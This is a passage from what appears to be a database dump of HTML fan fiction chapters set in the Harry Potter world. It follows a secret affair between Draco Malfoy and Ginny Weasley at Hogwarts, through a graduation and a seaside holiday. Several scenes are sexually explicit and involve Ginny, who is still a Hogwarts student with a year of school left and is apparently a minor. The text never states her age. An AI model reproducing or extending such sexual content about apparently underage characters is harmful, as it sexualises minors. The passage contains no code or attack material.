\n  up Hogwarts a little,&#8221; Goyle said slamming the door behind him.</p>\n<p style="line-height:150%">I was starting to sweat.&nbsp; There would be an attack.&nbsp; \n  I slammed my fist against the door.</p>\n<p style="line-height:150%">&#8220;Dammit Ginny!&#8221; I said under my breath as my knuckles \n  began to swell.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&#8220;What do you want Malfoy?&#8221; Potter said, as I walked \n  up to him, alone for once &#8220;No goons today?&#8221;</p>\n<p style="line-height:150%">I didn&#8217;t want to been seen talking too long to lightening-bolt \n  head.&nbsp; </p>\n<p style="line-height:150%">&#8220;Look Potter, I have some information for you so I \n  expect you will use it wisely, although it might be expecting an awful lot.&#8221;</p>\n<p style="line-height:150%">I couldn&#8217;t stand to be around him, but I knew boy \n  wonder wouldn&#8217;t betray any confidence, even mine.</p>\n<p style="line-height:150%">&#8220;There is going to be an attack here today.&#8221;</p>\n<p style="line-height:150%">Harry Potter looked at me with a mixture of surprise \n  and confusion.</p>\n<p style="line-height:150%">&#8220;Don&#8217;t over think this Potter.&nbsp; Just do something \n  about it.&nbsp; Tell anyone I\'m the one who told you and I&#8217;ll deny it and never give \n  you information again.&#8221;</p>\n<p style="line-height:150%">He nodded, understanding my desire not to have a lengthy \n  conversation or the obligatory &#8220;why I&#8217;m doing something good&#8221; talk with him.&nbsp; \n  Speaking to him without cursing him under my breath was already beginning to \n  make me nauseous.&nbsp; </p>\n<p style="line-height:150%">&#8220;Agreed,&#8221; he replied.</p>\n<p style="line-height:150%">We stood face to face, not quite knowing how to proceed \n  with this conversation.&nbsp; It seemed I didn&#8217;t have to say much to make him understand.&nbsp; \n  I turned quickly and walked away, hoping no one had seen me, hoping that no \n  one had noticed the world as I used to understand it fall into hell like a dead \n  Dementor.&nbsp;&nbsp; </p>\n<p style="line-height:150%"><i>She was the reason.</i></p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%"> The ministry had come and gone, foiling any attempts \n  to attack Hogwarts that day.&nbsp; They had found enough explosive potion to blow \n  Gryffindor tower sky high.&nbsp; Harry Potter was hailed as a hero again. He and \n  Ron Weasley had &quot;come across&quot; plans to attack the school. I watched \n  as they recieved pats on the back and hugs from their friends. </p>\n<p style="line-height:150%">All through dinner, when I was sitting at the noticably \n  less populated Slytherin table, Potter kept giving me these irritating looks \n  of gratitude. He was mistaking me for someone who cared about the lives of himself \n  and his little groupies. <i>I only cared about her.</i> </p>\n<p style="line-height:150%">I ate in silence, disapointed that she wasn\'t there. \n</p>\n# \n&nbsp;\n<p style="line-height:150%">I took a long hot shower, soaking in the reality I \n  had found myself in. Traitor to my family, traitor to my &quot;friends&quot;. \n  <i>What had I done? </i>Finally turning off the water, I reached for my towel \n  and walked down the deserted Slytherin hallway. When I opened my door, Ginny \n  was sitting on my bed illuminated only by the moon.</p>\n<p style="line-height:150%">&#8220;Were you Harry&#8217;s source?&#8221; she asked, her eyes hopeful.</p>\n<p style="line-height:150%">I was uncomfortable in this role.&nbsp; The part of hero \n  was more suited for crowd pleasers like Potter and her Weasel brother.</p>\n<p style="line-height:150%">&#8220;You&#8217;re here earlier than you usually are,&#8221; I said \n  ignoring the question and immodestly removing the towel wrapped around me.</p>\n<p style="line-height:150%">&#8220;I wanted to see you.&nbsp; I wanted to know if you told \n  Harry about us.&#8221;</p>\n<p style="line-height:150%">My back was to her, but I could see her worried expression \n  in the mirror.</p>\n<p style="line-height:150%">&#8220;No, of course I didn&#8217;t.&#8221;</p>\n<p style="line-height:150%">She smiled and lay back onto my bed. </p>\n<p style="line-height:150%">&#8220;You graduate in two weeks, and then there\'s the summer \n  holiday.&nbsp; I had a long talk with Susan about us. &nbsp;She knows.&nbsp; I trust her.&nbsp; \n  I want to go away for a week.&#8221;</p>\n<p style="line-height:150%">This didn&#8217;t surprise me.&nbsp; It would have been impossible \n  to keep her roommate in the dark any longer, especially since Ginny had been \n  staying the night recently.&nbsp; </p>\n<p style="line-height:150%">&#8220;So then go,&#8221; I said, not yet understanding.</p>\n<p style="line-height:150%">She laughed a little, and sat up again.</p>\n<p style="line-height:150%">&#8220;I want to go away with you.&nbsp; I&#8217;m going to tell my \n  family I&#8217;m doing some traveling with Susan, and you can make something up as \n  well.&nbsp; We can travel, maybe the Muggle way, and just get away from everything.&nbsp; \n  We can pretend to be a nice respectable couple.&#8221;</p>\n<p style="line-height:150%">The blouse she was wearing looked good on her.&nbsp; It \n  matched her hair and her lips.&nbsp; </p>\n<p style="line-height:150%">&#8220;Maybe.&#8221;</p>\n<p style="line-height:150%">She began to unbutton the blouse, and I watched her, \n  half-mesmerized.</p>\n<p style="line-height:150%">&#8220;You&#8217;d have me all to yourself for a week.&nbsp; No distractions.&#8221;</p>\n<p style="line-height:150%">She stopped unbuttoning and reached over to the glass \n  of pumpkin juice I had sitting on my nightstand.&nbsp; I ran the comb through my \n  hair vainly and looked back at her in the mirror.&nbsp; She was drinking it in small \n  sips, looking at me still.&nbsp; At last, I went over to her and took the glass from \n  her hand.&nbsp; Rather than put it back down, I took a drink, pooling some of the \n  sweet nectar in my mouth and bent to kiss her&#8230;sharing it with her.&nbsp; She sucked \n  at my tongue and allowed herself a soft purr of pleasure, realizing we had only \n  just begun.&nbsp; </p>\n<p style="line-height:150%">&#8220;I&#8217;ll need some convincing,&#8221; I said.</p>\n<p style="line-height:150%">She moved close to me, breathing heated kisses onto \n  my stomach.&nbsp; Her hands wrapped around my waist and she moved her head so she \n  could coil her soft pink lips around my cock.&nbsp; </p>\n<p style="line-height:150%">I set down the glass, and let my fingers trail around \n  to the nape of her neck , through her flame red hair as her delicate fingers \n  tipped with soft pink enamel trailed lightly up and down the base of my shaft, \n  stirring me beyond measure.&nbsp; </p>\n<p style="line-height:150%">I had to force myself to pull away, especially if \n  I wanted to experience more of her.&nbsp; </p>\n<p style="line-height:150%">&#8220;Let me undress you,&#8221; I said to her, and she let her \n  hands fall limp to her sides.</p>\n<p style="line-height:150%">I removed her clothing from her slowly, letting my \n  hand caress every part of her as it was revealed to me.&nbsp; She was craving my \n  touch now, and I was torturing her.</p>\n<p style="line-height:150%">She fell back onto my bed and I lay next to her.&nbsp; \n  She rose a little, putting her arms around me.&nbsp; I took her head between my hands \n  and led her mouth to mine.&nbsp; I wiggled my tongue to the back of her throat, sucking \n  on her lips until they were swollen. </p>\n<p style="line-height:150%">Ginny rolled on top of me and I moved my hands to \n  cover her breasts. Then she mounted me, guiding me inside of her in one instantaneous \n  motion, our return to grace.&nbsp; </p>\n<p style="line-height:150%">She raised her knees, bending her legs around me and \n  rode me vigorously until I grabbed her hips to slow her down.</p>\n<p style="line-height:150%">I rolled over onto her and rode her in return, leaning \n  on one hand so I could watch her bucking underneath of me.&nbsp; I filled her, sliding \n  along her walls.&nbsp; Our fluids mingled, our moans mingled, both coming from deeper \n  than our throats.&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">It was raining outside.&nbsp; Ginny was wearing my Quidditch \n  t-shirt and leaning against the windowsill wondering when she should make her \n  exit.</p>\n<p style="line-height:150%">&#8220;It&#8217;s like liquid light when it hits glass,&#8221; she said.</p>\n<p style="line-height:150%">It was almost dawn now.&nbsp; </p>\n<p style="line-height:150%">&#8220;Did you bring anything to keep you dry?&#8221; I asked.</p>\n<p style="line-height:150%">She smirked at me.</p>\n<p style="line-height:150%">&#8220;Such a gentleman you&#8217;ve become Draco,&#8221; she mocked.</p>\n<p style="line-height:150%">I groaned at this remark and sat up in the bed.</p>\n<p style="line-height:150%">&#8220;Why don&#8217;t you wait until after first period, be late \n  for once. We could plan our temporary escape,&#8221; I said, missing her warmth lying \n  next to me.</p>\n<p style="line-height:150%">She thought for a moment.&nbsp; Then she walked to the \n  bed, sliding in next to me.</p>\n<p style="line-height:150%">&#8220;Alright,&#8221; she said, &#8220;We&#8217;ll plan our escape.&#8221;</p>\n<p style="line-height:150%">I didn&#8217;t know that we weren&#8217;t such a secret anymore.&nbsp; \n  I continued for quite some time believing only Ginny, Susan and myself knew \n  about us.&nbsp; I didn&#8217;t know Potter had pulled out his map for the first time in \n  a year the night before, surprised at the two students he saw together. Then, \n  upon looking at it again that morning, had realized that those two students \n  had spent the entire night together.&nbsp; Two students whom he would have never \n  imagined as lovers.</p>\n\n\n'),
	(139, 6, '\n<u>Commencement</u> by msscribe\n<b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b>\n<p class="MsoBodyText" style="line-height:150%" align="center">&#8220;I\'m \n  ever swiftly moving<br>\n  trying to escape this desire&#8230;<br>\n  the yearning to be near you<br>\n  I do what I have to do<br>\n  &#8230;and I have the sense to recognize<br>\n  that I don\'t know how<br>\n  to let you go,&#8221; Sarah Mclachlan</p>\n<p class="MsoBodyText" style="line-height:150%" align="center">&nbsp;</p>\n<p style="line-height:150%">Draco&#8217;s room at Hogwarts is absolutely bare, except \n  for his bed, a few chairs and a desk &#8211; all of which were there when he had arrived \n  seven years ago.&nbsp; Last night they drank his last bottle of wine and made love \n  until they were too tired to move.&nbsp; They woke up the next morning sticky and \n  smug, comfortable with quiet chatter, but in complete denial about the importance \n  of the day ahead of them.</p>\n<p style="line-height:150%">Ginny is peeking over at Draco in his Graduation robes, \n  feeling foolishly adolescent.&nbsp; He is sitting next to Crabbe, and the empty chair \n  on his other side is where Goyle would have sat had he lived to see this day.&nbsp; \n  No one ever talked about it.&nbsp; Even Draco hadn&#8217;t said much to her other than \n  the fact that Goyle&#8217;s father didn&#8217;t show up to the funeral.&nbsp; She knew he felt \n  the loss, even if Goyle wasn&#8217;t the best person, he had still been Draco&#8217;s companion \n  all of these years.&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;</p>\n<p style="line-height:150%">She is sitting next to her mother and father with \n  Percy, Bill, Fred and George behind them.&nbsp; She is nervously twisting her flowered \n  dress into a knot.&nbsp; She does this twice more, and then tries to focus on Ron, \n  Harry and Hermione who are sitting two rows behind Draco.&nbsp; Ron waves up at them.&nbsp; \n  She flashes her most brilliant smile and enthusiastically waves back.</p>\n<p style="line-height:150%">&#8220;Looks like you&#8217;re the only one left dear,&#8221; her mother \n  whispers in her ear, smiling supportively.</p>\n<p style="line-height:150%">Ginny tries to sit quietly on the long, horizontal \n  stretch of red vinyl that lines the bleacher seats.&nbsp; Nobody can see her eyes \n  wander behind the darkened lenses of her sunglasses as she surveys the crowd.&nbsp; \n  Lucius and Narcissa Malfoy are sitting next to a jittery blonde witch and a \n  large man with a bad complexion she assumes are Crabbe&#8217;s parents.&nbsp; </p>\n<p style="line-height:150%"> Narcissa Malfoy is beautiful, like Draco.&nbsp; She can&#8217;t \n  help but be drawn in by Narcissa&#8217;s delicate features and her tall, graceful \n  figure.&nbsp; She is the very picture of refinement.&nbsp; Ginny closes her eyes and tries \n  to imagine what Narcissa looks like doing everyday things.&nbsp; She also wonders \n  if that desolate look that Draco&#8217;s mother wears is a permanent fixture.&nbsp; Her \n  gaze lingers on the woman&#8217;s lips, having kissed similar ones a hundred times \n  or more.</p>\n<p style="line-height:150%"> &#8220;Snap the picture Arthur!&nbsp; Ron&#8217;s about to go up!&#8221; \n  her mother says, waving her arm in the air furiously now.&nbsp; </p>\n<p style="line-height:150%">This morning Ginny had blurted out casually to Draco, \n  &#8220;If we want to continue this&#8230;we can slip away after Dumbledore begins the luncheon \n  with his <i>Welcome Great Wizards and Witches</i> speech.&nbsp; If one of us thinks \n  its better to not keep seeing each other, then we can remain seated.&#8221;&nbsp; He had \n  nodded in agreement.&nbsp; She hadn&#8217;t made her choice yet as to what she would do. \n  They had toyed with the idea of running away for a week over the summer, but \n  neither of them had been brave enough to make any real plans. &nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">Her world would probably be emptier and more monotonous \n  after he left, but the daily agony of having to cover up something that had \n  consumed most of her thoughts these past eight months would be gone.&nbsp; And the \n  silent threat that hung in the air since they had begun their affair, the threat \n  of them being found out by Ron, wouldn&#8217;t seem so ominous.&nbsp; </p>\n<p style="line-height:150%">Dumbledore&#8217;s voice rings out over the packed stadium \n  as he begins to say the graduate&#8217;s names one by one.&nbsp;&nbsp; The day is warm, but \n  the air is as clear as spring water.&nbsp;&nbsp;&nbsp; Ron&#8230;then Harry&#8230;then Hermione&#8230;all take \n  their walk across the stage area.&nbsp;</p>\n<p style="line-height:150%"> &#8220;Draco Malfoy,&#8221; Dumbledore says, followed by civil \n  applause.&nbsp; Her stomach drops.&nbsp; Her heart follows.</p>\n<p style="line-height:150%">He takes his walk.&nbsp; Her parents aren&#8217;t paying much \n  attention.&nbsp; It only takes a couple of minutes before Draco is seated again, \n  but he looks up at his mother.&nbsp; Then he looks up at Ginny. It\'s a quick glance, \n  but long enough for her to notice.&nbsp; </p>\n<p style="line-height:150%">Ginny tries to stay focused.&nbsp; She knew there would \n  be strong feelings, but she hadn&#8217;t expected to be overwhelmed by it.&nbsp; She is \n  shaking.&nbsp; Then a tear falls down her cheek. Her mother wraps an arm around her.</p>\n<p style="line-height:150%"> &#8220;Oh, sweetheart&#8230;I know how much you&#8217;ll miss Ron.&nbsp; \n  But he&#8217;ll be an Auror along with Percy and Harry.&nbsp; Maybe you&#8217;ll work for the \n  Ministry too after graduation,&#8221; she says sweetly.</p>\n<p style="line-height:150%">Ginny is relieved that her emotional outbreak is not \n  out of place there.&nbsp; At least two other witches are sobbing louder than her.&nbsp; \n  One of them blows her nose into a scarf a little too close to Fred\'s head. </p>\n<p style="line-height:150%">Then Hermione walks to the podium, and like summer \n  rain, her voice breaks through Ginny&#8217;s cloud of sadness.&nbsp; She listens.&nbsp; </p>\n<p style="line-height:150%"><i>&#8220;Commencement means a beginning; a start&#8230;&#8221; </i>preaches \n  Hermione Granger, class Valedictorian.<i></i></p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Draco and his parents enter the great hall for the \n  graduation luncheon.&nbsp; He looks around for Ginny, spotting her next to her mother \n  at the Gryffindor table.&nbsp; Ginny is wearing a sleeveless dress patterned with \n  flowers that accentuate her slender curves.&nbsp; Her hands are clutching Ron&#8217;s newly \n  awarded certificate.&nbsp; She loops her arm through her brother&#8217;s.&nbsp; Ron smiles lovingly \n  at her.</p>\n<p style="line-height:150%">Draco looks away then, not able to stomach any more.&nbsp; \n  His mother puts her cool hand on his shoulder, and they walk the hall, greeting \n  those with similar tastes and lifestyles.&nbsp; They will never cross the aisle towards \n  the Weasley&#8217;s.&nbsp;&nbsp; His family&#8217;s public time is a facade designed to make them \n  seem decent, maybe even respectable, but they still wouldn&#8217;t dare to cross the \n  aisle.&nbsp; Draco\'s demeanor is nonchalant, an attitude he perfected when he was \n  barely old enough to talk.&nbsp; His father leans in closer to inspect his face.&nbsp; \n  Satisfied with his son\'s appearance, Lucius parades him around like an entry \n  at a county fair.&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">Draco can feel her eyes on him.&nbsp; He loves to catch \n  her watching.&nbsp; Her eyelids, with their long reddish lashes, flutter rapidly \n  trying to look away.&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%"> &#8220;So what is it that you&#8217;re doing again?&#8221; Ginny asks \n  Hermione.</p>\n<p style="line-height:150%">Hermione tilts her head, raising her eyebrows.&nbsp; &#8220;I&#8217;m \n  going to be a <i>researcher</i>, which means I dig up evidence and information \n  for people in Harry and Ron&#8217;s position.&nbsp; Honesty Ginny, it isn&#8217;t all that hard \n  to understand!&#8221;</p>\n<p style="line-height:150%">&#8220;I guess it seems to suit you, but I can&#8217;t imagine \n  the three of you not being in constant danger <i>together</i>,&#8221; Ginny quips.</p>\n<p style="line-height:150%">Harry and Ron find this amusing for some reason.&nbsp; \n  Hermione doesn&#8217;t, but bites her tongue. Ginny needs an excuse to move around.&nbsp; \n  There is already a line beginning to form at the fountain in the middle of the \n  room that is filled to the brim with pumpkin juice.&nbsp; </p>\n<p style="line-height:150%">&#8220;Anyone else want some?&#8221; Ginny offers.</p>\n<p style="line-height:150%">&#8220;Thanks honey,&#8221; her mother says quickly, waving over \n  at Colin Creevy&#8217;s family to come and join them.&nbsp; </p>\n<p style="line-height:150%">Harry is giving Ginny the strangest looks, and he \n  hasn&#8217;t said much to her today.&nbsp; She wonders if Draco might have lied to her \n  about him knowing, but she doubts he would have shared such a personal confidence \n  with Harry.&nbsp; </p>\n<p style="line-height:150%">Ginny looks over to see if Draco notices her moving \n  closer to where he is standing.&nbsp; He doesn&#8217;t seem to.&nbsp; Narcissa is still looking \n  out at nothing, standing perfectly still next to Lucius.&nbsp; Ginny thinks maybe \n  Mrs. Malfoy has mastered the art of sleeping standing up.&nbsp; Feeling safer not \n  being so near her family, she lets her eyes travel back to Draco.&nbsp; He catches \n  her this time.</p>\n<p style="line-height:150%">His eyes are surprisingly sad.&nbsp; She wonders if he&#8217;s \n  decided to end it.&nbsp; She hadn&#8217;t considered that he&#8217;d be the one to break it off.&nbsp; \n  The collar on his robe is open, and she can see wisps of wiry blond hair peeking \n  out at the base of his neck.&nbsp; She takes a deep breath and forces her legs to \n  work again.&nbsp; The fountain is so close to them. She reaches out and slowly curls \n  her hand around the stem of a glass, trying not to break it.&nbsp;&nbsp;&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Ginny&#8217;s hair is slightly mussed from being outside. \n  Draco likes the look, although it is a stark contrast to his mother&#8217;s who has \n  every strand in place.&nbsp; Her lips are slightly parted, and she is breathing with \n  the same slow deep rhythm that he would often fall asleep listening to.&nbsp; He \n  knows he&#8217;s caused this reaction in her.&nbsp; She&#8217;s moving more swiftly now, trying \n  to escape his scrutiny.&nbsp;</p>\n<p style="line-height:150%"> &#8220;Draco will be helping me in my business endeavors,&#8221; \n  Lucius brags to the witch next to him, the mother of Millicent Bulstrode.&nbsp; Her \n  jet-black hair is sprayed into a stiff up-do and her bright red lipstick goes \n  far beyond the natural outline of her porcine lips.&nbsp; The woman leans over to \n  kiss Draco&#8217;s cheek, and her perfume is so distracting that he temporarily loses \n  sight of Ginny.&nbsp; <i></i></p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Ginny returns to the table with their juice intact, \n  but her psyche greatly affected.&nbsp; She mulls over their tentative plans.&nbsp; <i>Welcome \n  Great Wizards and Witches&#8230; Welcome Great Wizards and Witches&#8230;</i>The words loll \n  around in her head like some psychotic&#8217;s mantra.&nbsp; She wants everyone to take \n  their seats; she <i>needs</i> for Dumbledore to officially begin the lunch.&nbsp;&nbsp;&nbsp; \n  She remains standing near the door.&nbsp; She sees Draco lean in to speak to his \n  mother and walk slowly towards the other door.&nbsp;&nbsp;&nbsp; He&#8217;s not looking at her now.&nbsp; \n  He doesn&#8217;t want to push her one way or the other.</p>\n<p style="line-height:150%"> Filch is standing close to her, watching her.&nbsp; He \n  belches and it echoes loudly in her ear.&nbsp; His teeth are gray and there seems \n  to be dirt in every wrinkle of his skin.&nbsp; He isn&#8217;t concerned with Ginny though.&nbsp; \n  He&#8217;s too busy downing a mug of pumpkin juice.</p>\n<p style="line-height:150%">&#8220;Gin?&#8221; Ron says, walking up behind her.&nbsp; She is startled.&nbsp; \n  &#8220;Don&#8217;t you want to sit down?&#8221;</p>\n<p style="line-height:150%">She shakes her head no.</p>\n<p style="line-height:150%">&#8220;Not yet, I need to visit the bathroom after Dumbledore \n  starts.&#8221;</p>\n<p style="line-height:150%"> Ron looks at her puzzled for a moment, then shrugs \n  it off.&nbsp; &#8220;All right.&nbsp; We&#8217;ll save you a seat.&#8221;</p>\n<p style="line-height:150%">Ron is so wonderful to her.&nbsp; Why can\'t she just concentrate \n  on him?&nbsp; She thinks about sitting down again.&nbsp; </p>\n<p style="line-height:150%"><i>It&#8217;s over.&nbsp; No more lies, no more midnight visits, \n  no more fire&#8230;no more of his taste, no more burying herself in his chest.</i></p>\n<p style="line-height:150%">Her head is all swimmy and her feet are swelling from \n  standing in Hermione&#8217;s chunky heeled shoes which are a size too small, but fit \n  perfectly with her outfit. She closes her eyes trying to forget his hands on \n  her, but she can&#8217;t.&nbsp; </p>\n<p style="line-height:150%">&nbsp;She remains standing.</p>\n<p class="MsoBodyText" style="line-height:150%"><i>&#8220;Welcome \n  Great Wizards and Witches...&#8221;</i></p>\n<p style="line-height:150%">Cool air blasts in as she opens the door.&nbsp; She walks \n  fast, listening to his footsteps a safe distance behind her.&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">They reach the edge of the forest, near where Hagrid \n  used to live.&nbsp; No one is following her but him.&nbsp; She ducks behind the run down \n  structure, and fiddles with the lock on the storage shed.&nbsp; It&#8217;s practically \n  empty; they have used this spot before.&nbsp; They hurry inside and he presses against \n  her back before she can spin around to face him.</p>\n<p style="line-height:150%">&#8220;I loved the feeling of your eyes on me,&#8221; he whispers \n  over her shoulder.&nbsp; </p>\n<p style="line-height:150%">Ginny takes a deep breath and reaches behind her, \n  grabbing his thighs.&nbsp; He grabs her hips and holds her still.&nbsp; His head slumps \n  to her shoulder and he bites tenderly on her neck.&nbsp;&nbsp; She places her palm against \n  his growing erection, giving it a gentle squeeze.&nbsp; </p>\n<p style="line-height:150%">&#8220;Draco,&#8221; she says, holding her breath in anticipation.&nbsp;</p>\n<p style="line-height:150%"> He spins her around and pulls her tight against him.&nbsp; \n  He&#8217;s kissing her so hard now that she has to fight for air.&nbsp; </p>\n<p style="line-height:150%">&#8220;I can\'t let you go,&#8221; he says.</p>\n<p style="line-height:150%"> &#8220;I know,&#8221; she replies.</p>\n<p style="line-height:150%">He grabs two handfuls of her dress and begins to raise \n  it.&nbsp; The first contact of his hands on her bare skin send a flash of panic through \n  her.&nbsp; He moves her hair from her forehead and stares intently at her.</p>\n<p style="line-height:150%"> &#8220;Will you still come to me?&#8221; he asks, kissing her \n  fingertips, then moving his hand to her lips.&nbsp;&nbsp;&nbsp; </p>\n\n<i>All the reasons why&#8230;so many reasons why not&#8230; too many reasons why&#8230; </i> \n<p style="line-height:150%">Ginny&#8217;s breathing is complex, and very reactive to \n  his right hand that is busy making tiny circles on her stomach.&nbsp; When he kisses \n  her again, she cannot exhale without moaning. </p>\n<p style="line-height:150%">He presses her back against the wall and they stumble \n  together to the wooden floor.&nbsp; His robes come off. Her hands slide across his \n  chest and he has his arms around her so tightly that she feels she couldn&#8217;t \n  escape even if she wanted to.&nbsp; The ceiling of the shed is glued with square \n  tiles, and a light coming from a tiny whole in the roof dimly illuminates the \n  windowless interior.&nbsp; Draco&#8217;s body is outlined in that small glimmer of light \n  as he moves over her.&nbsp; She twines her arms around his waist, offering her throat \n  to him as her head falls back.&nbsp; Draco finds the small dip in her neck where \n  he can feel her pulse, and kisses it.&nbsp; She lifts herself against him, and he \n  thinks he might go out of his mind if he doesn&#8217;t make love to her soon.</p>\n<p style="line-height:150%">&#8220;Will you still come to my bed?&#8221; he asks again</p>\n<p style="line-height:150%">He yanks her panties down to her ankles. Her small \n  voice subsides into a teary mumble.&nbsp; </p>\n<p style="line-height:150%">&quot;Leave the light on,&#8221; she says, not denying him \n  any longer.</p>\n<p style="line-height:150%">He slips his hand between her thighs.&nbsp; Then he pushes \n  apart her legs, angling her beneath him.&nbsp; She moves obediently to his touch, \n  wrapping him close as he sinks into her again, his name falling from her lips \n  like a prayer.&nbsp; </p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n<p style="line-height:150%"><b><i>A/N:</i></b><i>&nbsp; The next chapter &quot;Landmarks&quot; \n  will be lighter in some ways.&nbsp; Thanks to <b>Sydney Lynne, Kristen Elizabeth, \n  Blazefury, Babygrrl *huggles Babygrrl*, Nappa (of course!), Sabacat, Tara, Observer, \n  Ella, Nisreena, Lissane, 714, Davis_517, Clarabella_21, SarahKJames, Claire, \n  Leanne, Destiny</b> and the lovely <b>Evelyn </b>who is more appreciated than \n  she knows.&nbsp; I hope I&#8217;m not forgetting anyone.&nbsp; **Apologizes profusely if I have**</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n'),
	(139, 7, '\n<p><b><u>Signs</u> by msscribe</b></p>\n<p class="MsoBodyText2"><b>Disclaimer:</b> No profits are being made off the fiction \n  on these pages. Harry Potter, associated characters and the associated Harry \n  Potter universe is &#169; J. K. Rowling and respective publishers. Fanfiction is \n  fiction&#8212;it&#8217;s not meant to be taken seriously in the least.</p>\n<p class="MsoBodyText">AN: The idea to use signs as markers to different segments \n  came from a story by Chris Mazza called &#8220;Between Signs&#8221;.&nbsp; To Babygrrl, I&#8217;ve \n  awarded you a small cameo in this ficlet.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p style="text-align:center" align="center">&nbsp;</p>\n<p align="center"><b>Don&#8217;t Drink \n  and Apparate!</b></p>\n \n   \n     \n       \n        \n          <p><b><i>Buy Wendel&#8217;s \n            Home Brewed Butterbeer</i></b></p>\n        \n      \n    \n  \n\n<p align="center"><b>2003 \n  Zappa Fizzy Rum Swimsuit Calendar </b></p>\n<p>Draco drinks his glass of butterbeer with one long draw, while Ginny lets her \n  hand rest on his thigh.&nbsp; The top button on her blouse is undone, and when no \n  one is looking, he slips his hand underneath, teasing her.&nbsp; She arches her back \n  a little, moving down behind the table while she pretends to be paying attention \n  to the band in the back.&nbsp; The waitress rushing past them either doesn&#8217;t notice, \n  or doesn&#8217;t care.</p>\n<p>&nbsp;</p>\n<p align="center"><i><b>Win One Million Galleons!</b></i></p>\n \n   \n     \n       \n         \n           \n             \n              <p><b>No \n                Soliciting</b></p>\n              <p><b>All Unauthorized Magic \n                Will Be Prosecuted To The Fullest Extent Of The Law</b></p>\n            \n          \n        \n      \n    \n  \n\n<p>&nbsp;</p>\n<p>Draco pulls her onto his lap, never letting his eyes leave the smarmy Wizard \n  dealing the cards.&nbsp; He is careful with his bets, and wins two games in a row.&nbsp; \n  When Ginny tells him he doesn&#8217;t deserve the extra money, his fingers run in \n  little circles over her knees, then up her thighs.&nbsp; She closes her legs defiantly \n  until the next round begins.&nbsp; </p>\n<p>&#8220;My Lady Luck,&#8221; he whispers in her ear.</p>\n<p>She presses her bottom down onto him, and gives him access to the wet spot \n  between her legs.&nbsp; </p>\n<p>&#8220;Are you in?&#8221; the dealer says to him.</p>\n<p>&#8220;No, that&#8217;s all for me,&#8221; Draco replies, looking towards the elevator.</p>\n<p>They take it all the way to the 12th floor, but they both get off \n  somewhere between the 9th and the 10th.&nbsp; </p>\n<p>&nbsp;</p>\n \n  \n    <p><b>Don&#8217;t Miss \n      The Babygrrl Band Tonight!</b></p>\n  \n\n<p align="center"><i>Muggle Clothing For Sale</i></p>\n \n   \n     \n      \n        <p><b>No Apparating In \n          The Main Lobby</b></p>\n        <p>&nbsp;</p>\n      \n    \n  \n\n<p>She tells him while they are getting ready to walk down to the beach that she \n  might be in love with him.&nbsp; He says nothing, and she walks out of their hotel \n  room in tears.&nbsp; The sun is hot and she has no sunglasses, so her eyes are nothing \n  but puffy red slits.&nbsp; </p>\n<p>&#8220;Ginny!&nbsp; Wait!&#8221; Draco yells chasing after her.</p>\n<p>She keeps walking, letting the sand sting her face.&nbsp; She can hear him catching \n  up to her.&nbsp; </p>\n<p>&#8220;Please&#8230;&#8221; he says, grabbing onto her arm.</p>\n<p>She tries to slap him, sting him like he has her, but he catches her wrists \n  and holds her arms to her sides.&nbsp; Her tears flood her now and she sobs. </p>\n<p>&#8220;I would die for you,&#8221; he says, not blinking.</p>\n<p>He pulls her tightly to him and kisses her forehead.&nbsp; She catches her breath, \n  and they hold each other in silence.&nbsp;&nbsp; It&#8217;s the best he can do for now.</p>\n<p>&nbsp;</p>\n \n   \n     \n       \n         \n           \n             \n               \n                 \n                   \n                     \n                       \n                         \n                           \n                            \n                              <p><b>Slippery \n                                When Wet</b></p>\n                            \n                          \n                        \n                      \n                    \n                  \n                \n              \n            \n          \n        \n      \n    \n  \n\n<p align="center"><i>Disappearing Rocks Are More Dangerous Than They Appear</i></p>\n \n   \n    \n      <p>Please \n        Don&#8217;t Feed the Sea Slugs</p>\n    \n  \n\n<p>&nbsp;</p>\n<p>The water is cold.&nbsp; Ginny is on Draco&#8217;s back and he threatens to dive in.&nbsp; \n  He finally does, and she screams as she is propelled into the icy ocean.&nbsp; When \n  she surfaces, she playfully splashes him and he retaliates by pulling her under \n  by her ankles.</p>\n<p>&#8220;Damn Slytherin,&#8221; she says, teeth chattering as she emerges.</p>\n<p>He laughs and eases her close to him.&nbsp; She wraps her legs around his waist.&nbsp; \n  She is weightless there.&nbsp; The sun is beginning to set and they are the only \n  ones out that far.&nbsp; </p>\n<p>She is wearing a two-piece swimsuit that ties at the side, and it only takes \n  him a minute to undo one of the knots.&nbsp; </p>\n<p>He pulls down his shorts just enough and slides into her.&nbsp; The sting of the \n  salt water makes her dig her nails into his shoulders and they ride wave after \n  wave.</p>\n<p>&nbsp;</p>\n \n   \n     \n       \n        <p><b>Complimentary \n          Wake Up Owl Available Upon Request</b></p>\n      \n    \n  \n\n<p><i>Please \n  Tip The 